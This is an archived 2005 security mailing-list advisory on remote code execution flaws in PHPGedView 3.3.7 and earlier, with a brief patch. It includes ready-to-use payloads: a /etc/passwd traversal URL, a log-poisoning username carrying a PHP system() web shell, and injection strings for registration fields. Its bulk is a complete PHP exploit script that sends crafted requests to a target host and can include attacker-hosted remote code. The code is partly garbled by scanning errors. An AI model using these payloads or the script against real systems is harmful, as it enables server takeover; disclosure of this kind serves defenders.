

[UNIX] PHPGedView Arbitrary Code Execution and Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00096.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 28 Dec 2005 12:04:56 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

PHPGedView Arbitrary Code Execution and Injection

SUMMARY

<<http://www.phpgedview.net/>> PhpGedView is "a revolutionary genealogy program which allows you to view and edit your genealogy on your website." Two security vulnerabilities in PHPGedView allow remote attackers to either cause the execution of arbitrary code either directly or by injecting PHP commands into the log files used by the product.

DETAILS

Vulnerable Systems:

* PHPGedView version 3.3.7 and prior

Arbitrary code execution:

In `help_text_vars.php` at lines 31–32:

```
..  
require $PGV_BASE_DIRECTORY.$confighelpfile["english"];  
if (file_exists($PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE])) require  
$PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE];  
..
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

If registers_globals on yo can include/view an arbitrary file from local resources:

[http://\[target\]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../../etc/passwd](http://[target]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../../etc/passwd)

So, we have remote code execution, example: try to login with:

username: <?php system(\$_GET[cmd]);?>

password: [nothing]

Now in log file we have:

2005.12.20 13:16:06 – 127.0.0.1 – Login Failed –><?php system(\$_GET[cmd]);?> <–

So you can launch operating system commands:

[http://\[target\]/\[path\]/help_text_vars.php?cmd=ls%20-la](http://[target]/[path]/help_text_vars.php?cmd=ls%20-la)
[PGV_BASE_DIRECTORY=./index/pgv-200512.log](http://[target]/[path]/help_text_vars.php?cmd=ls%20-la)

Generally:

[http://\[target\]/\[path\]/help_text_vars.php?cmd=ls-%20la](http://[target]/[path]/help_text_vars.php?cmd=ls-%20la)
[PGV_BASE_DIRECTORY=./index/pgv-\[year\]\[month\].log](http://[target]/[path]/help_text_vars.php?cmd=ls-%20la)

Also, if register_globals on and allow_url_fopen on, you can include arbitrary code from a remote location:

[http://\[target\]/\[path\]/help_text_vars.php?cmd=dir](http://[target]/[path]/help_text_vars.php?cmd=dir)
[PGV_BASE_DIRECTORY=http://some_location/path/code.txt](http://[target]/[path]/help_text_vars.php?cmd=dir)

Patch:

At line 30 simply add:

```
..  
require('config.php');  
..
```

PHP code injection:

If magic_quotes_gpc off, you can inject arbitrary php code in "user language", "user email" and "user gedcomid" arguments when you register, example, in one of this field type:

```
':error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);  
die('HiMaster!');}echo'
```

So in authenticate.php we have something like this:

```
..  
$user = array();  
$user["username"] = 'SUNTZU2118';  
$user["fullname"] = 'suntzu';  
$user["email"] =  
':error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);  
die('HiMaster!');}echo';  
$user["language"] =  
'english';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);  
die('HiMaster!');}echo';  
$user["verified"] = '';  
$user["verified_by_admin"] = '';
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
$user["pwrequested"] = ":  
$user["reg_timestamp"] = '1135079288':  
$user["reg_hashcode"] = '[hashcode]':  
$user["gedcomid"] = array():  
$user["gedcomid"]["suntzu"] =  
":error_reporting(0);if(isset($suntzu)){system($ GET[suntzu]):  
die('HiMaster!');}echo":  
$user["rootid"] = array():  
$user["rootid"]["suntzu"] =  
":error_reporting(0);if(isset($suntzu)){system($ GET[suntzu]):  
die('HiMaster!');}echo":  
$user["canedit"] = array():  
::
```

After you can launch commands:

[http://\[target\]/\[path\]/?suntzu=ls%20-la](http://[target]/[path]/?suntzu=ls%20-la)

Exploit:

```
<?php  
# ---php ged view 337 xpl.php 16.31 20/12/2005 #  
# #  
# PHPGedView <= 3.3.7 remote commands execution #  
# coded by rgod #  
# site: http://rgod.altervista.org #  
# #  
# usage: launch from Apache, fill in requested fields, then go! #  
# #  
# Sun-Tzu:"If the enemy leaves a door open, you must rush in. #
```

```
error_reporting(0);  
ini_set("max_execution_time".0);  
ini_set("default_socket_timeout", 5);  
ob_implicit_flush(1);
```

```
echo'<html><head><title> ****PhpGedView <= 3.3.7 remote commands  
execution*****  
</title><meta http-equiv="Content-Type" content="text/html;  
charset=iso-8859-1">  
<style type="text/css"> body {background-color:#111111;  
SCROLLBAR-ARROW-COLOR:  
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; }  
img  
{background-color: #FFFFFF !important} input {background-color: #303030  
!important} option { background-color: #303030 !important} textarea  
{background-color: #303030 !important} input {color: #1CB081 !important}  
option  
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox  
{background-color: #303030 !important} select {font-weight: normal; color:  
#1CB081; background-color: #303030;} body {font-size: 8pt !important;  
background-color: #111111; body * {font-size: 8pt !important} h1  
{font-size:
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em  
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size:  
0.8em  
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em  
!important} h4 font.h5 font.h6 font {font-size: 0.8em !important} *  
{font-style:  
normal !important} *{text-decoration: none !important}  
a:link,a:active,a:visited  
{ text-decoration: none ; color : #99aa33; } a: hover{text-decoration:  
underline;  
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  
sans-serif;  
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  
sans-serif;  
font-weight:bold; font-style: italic;}--></style></head><body><p  
class="Stile6">  
*****PhpGedView <= 3.3.7 remote commands execution***** </p><p  
class="Stile6">a  
script by rgod at <a href="http://rgod.altervista.org"target=" blank>  
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  
<form  
name="form1" method="post" action="".$SERVER[PHP_SELF]."> <p><input  
type="text" name="host"> <span class="Stile5">* hostname  
(ex:www.sitename.com)  
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path  
(ex:  
/phpgv/ or just /) </span></p><p><input type="text" name="cmd"> <span  
class="Stile5"> * specify a command </span></p> <p> <input type="text"  
name="LOCATION"><span class="Stile5"> remote location ( ex:  
http://www.somesite  
com/filename.txt) if you leave blank, Step 2 will be skipped but you have  
good  
chances to succeed anyway </span></p><p><input type="text" name="port">  
<span  
class="Stile5">specify a port other than 80 (default value)</span> </p>  
<p>  
<input type="text" name="proxy"><span class="Stile5">send exploit through  
an  
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"  
value="go!"></p></form></td></tr></table></body></html>';
```

```
function show($headeri)  
{  
$ii=0;  
$ji=0;  
$ki=0;  
$ci=0;  
echo '<table border="0"><tr>';  
while ($ii <= strlen($headeri)-1)  
{  
$datai=dechex(ord($headeri[$ii]));
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
if ($ji==16) {  
$ji=0;  
$ci++;  
echo "<td> </td>";  
for ($li=0; $li<=15; $li++)  
{ echo "<td>".$headeri[$li+$ki]."</td>";  
↓  
$ki=$ki+16;  
echo "</tr><tr>";  
↓  
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else  
{echo "<td>".$datai."</td> ";  
$ii++;  
$ji++;  
↓  
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)  
{ echo "<td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>";  
↓  
  
for ($li=$ci*16; $li<=strlen($headeri); $li++)  
{ echo "<td>".$headeri[$li]."</td>";  
↓  
echo "</tr></table>";  
↓  
$proxy_regex = '\b\d{1.3}\.\d{1.3}\.\d{1.3}\.\d{1.3}:\d{1.5}\b)';  
  
function sendpacket() //if you have sockets module loaded, 2x speed! if  
not,load  
//next function to send packets  
↓  
global $proxy, $host, $port, $packet, $html, $proxy_regex;  
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
if ($socket < 0) {  
echo "socket_create() failed: reason: " .  
socket_strerror($socket) . "<br>";  
↓  
else  
{ $c = preg_match($proxy_regex,$proxy);  
if (!$c) {echo 'Not a valid prozy...';  
die;  
↓  
echo "OK.<br>";  
echo "Attempting to connect to ".$host." on port  
 ".$port."...<br>";  
if ($proxy=="")  
↓  
$result = socket_connect($socket, $host, $port);  
↓  
else  
↓
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
$parts=explode(':'.$proxy):  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>':  
$result = socket_connect($socket, $parts[0], $parts[1]):  
}  
if ($result < 0) {  
echo "socket_connect() failed.\r\nReason: (".$result.)  
". socket_strerror($result) . "<br><br>":  
}  
else  
{  
echo "OK.<br><br>":  
$html= ":  
socket_write($socket, $packet, strlen($packet)):  
echo "Reading response:<br>":  
while ($out= socket_read($socket, 2048)) {$html.=$out:}  
echo nl2br(htmlentities($html)):  
echo "Closing socket...":  
socket_close($socket):  
  
}  
}  
}  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex:  
if ($proxy=="")  
{sock=fsockopen(gethostbyname($host), $port):  
if (!$sock) { echo 'No response from '.htmlentities($host):  
die: }  
}  
else  
{  
$c = preg_match($proxy_regex, $proxy):  
if (!$c) {echo 'Not a valid proxy...':  
die:  
}  
$parts=explode(':'.$proxy):  
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>':  
$sock=fsockopen($parts[0], $parts[1]):  
if (!$sock) { echo 'No response from proxy...':  
die:  
}  
}  
fputs($sock, $packet):  
if ($proxy=="")  
{  
  
$html=":  
while (!feof($sock))  
{  
$html.=fgets($sock):
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
↓
↓
else
{
$html="";
while (!feof($sock) or
(!ereg(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($sock,1);
}
}
fclose($sock);
echo nl2br(htmlentities($html));
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$cmd=$ POST[cmd];$host=$ POST[host];
$path=$ POST[path];$LOCATION=$ POST[LOCATION];
$port=$ POST[port];$proxy=$ POST[proxy];

if (($host<>"") and ($path<>"") and ($cmd<>""))
{
$port=intval(trim($port));
if ($port=="") {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=="") {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n", "", $host);
$path=str_replace("\r\n", "", $path);

#STEP 1a -> inject some php code in log file... (this works with
register_globals on)
$CODE="HiMaster!<?php system(\$ GET[suntzu]);die:??>";
$data="action=login";
$data.="&url=".urlencode("http://".$host."/");
$data.="&ged=php062005.ged";
$data.="&pid=";
$data.="&type=full";
$data.="&usertime=2005-12-20+14%3A34%3A57";
$data.="&username=".urlencode($CODE);
$data.="&password=";
$packet="POST ".$p."login.php HTTP/1.1\r\n";
$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."login.php\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
$packet="User-Agent: URL Spider Pro/x.x\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="Content-Length: ".strlen($data)."\r\n":  
$packet="Connection: Close\r\n\r\n":  
$packet=$data:  
show($packet):  
sendpacketii($packet):  
#STEP 1b -> Launch commands...  
$packet="GET ".$p."help_text_vars.php?suntzu=". $cmd.  
"&PGV_BASE_DIRECTORY=./index/pgv-".date("Ym").".log HTTP/1.1\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="User-Agent: WhizBang! Lab /x.x\r\n":  
$packet="Connection: Close\r\n\r\n":  
show($packet):  
sendpacketii($packet):  
if (ereg("HiMaster!". $html)) {echo "Exploit succeeded...";die;}

if ($LOCATION<>")
{
#STEP 2 -> Remote file inclusion... (this works with register_globals on  
& allow_url_fopen on)  
$packet="GET ".$p."help_text_vars.php?suntzu=". $cmd.  
"&PGV_BASE_DIRECTORY=".$LOCATION." HTTP/1.1\r\n":  
$packet="Host: ".$host."\r\n":  
$packet="User-Agent: Ziggy -- The Clown From Hell!\r\n":  
$packet="Connection: Close\r\n\r\n":  
show($packet):  
sendpacketii($packet):  
if (ereg("HiMaster!". $html)) {echo "Exploit succeeded...";die;}
}
else
{echo "<strong>step 2 skipped, fill location field if you need  
this</strong><br>";}

#STEP 3a -> Shell inject... (this works with magic quotes_gpc off)
//don't touch this...
$CODE =
"'';error_reporting(0);if(isset(\ $suntzu)){system(\ $ GET[suntzu]);die('HiMaster!');}echo'';
$CODE=urlencode($CODE);
$data="action=registernew";
$data."&time=Tue%2C+20+Dec+2005+10%3A32%3A46+UTC";
srand(make_seed());
$anumber = rand(1,9999);
$data."&user_name=SUNTZU".$anumber;
$data."&user_password01=suntzu";
$data."&user_password02=suntzu";
$data."&user_fullname=suntzu";
//these args, not properly verified...
$data."&user_language=english".$CODE;
$data."&user_email=".$CODE;
```

[UNIX] PHPGedView Arbitrary Code Execution and Injection

```
$data."&user_gedcomid=".$CODE:
$data."&user_comments=":
$packet="POST ".$p."login_register.php HTTP/1.1\r\n":
$packet="Accept: */*\r\n":
$packet="Referer:
http://".$host.".$port.$path."login_register.php?action=register\r\n:
$packet="Accept-Language: en\r\n":
$packet="Content-Type: application/x-www-form-urlencoded\r\n":
$packet="Accept-Encoding: text/plain\r\n":
$packet="User-Agent: GameBoy, Powered by Nintendo\r\n":
$packet="Host: ".$host."\r\n":
$packet="Content-Length: ".strlen($data)."\r\n":
$packet="Connection: Close\r\n\r\n":
$packet=$data:
show($packet):
sendpacketii($packet):
#STEP 3b -> Launch commands...
$packet="GET ".$p."?suntzu=".$cmd." HTTP/1.1\r\n":
$packet="Host: ".$host."\r\n":
$packet="User-Agent: Wget/1.x+cvs-stable (Red Hat modified)\r\n":
$packet="Connection: Close\r\n\r\n":
show($packet):
sendpacketii($packet):
if (eregi("HiMaster!", $html)) {echo "Exploit succeeded...";die;}

//if you are here...
echo "Exploit failed...":
}
else
{echo "Note: on remote location you need this code in <br>
http://[remote_location]/filename.txt :<br>":
echo nl2br(htmlentities("
<?php

echo "HiMaster!\":ini_set("max_execution_time".0);system(\ $suntzu):?>
?>
");
echo "Fill * required fields, optionally specify a proxy...":}
?>
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:retrogod@xxxxxxxxxxxxxx>>
rgod.

The original article can be found at:

<http://rgod.altervista.org/phpgedview_337_xpl.html>
http://rgod.altervista.org/phpgedview_337_xpl.html

=====
This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: *[UNIX] Fetchmail Multidrop DoS*
 - Next by Date: *[NEWS] Portfolio Netpublish Server 'template' Directory Traversal*
 - Previous by thread: *[UNIX] Fetchmail Multidrop DoS*
 - Next by thread: *[NEWS] Portfolio Netpublish Server 'template' Directory Traversal*
 - Index(es):
 - ◆ *Date*
 - ◆ *Thread*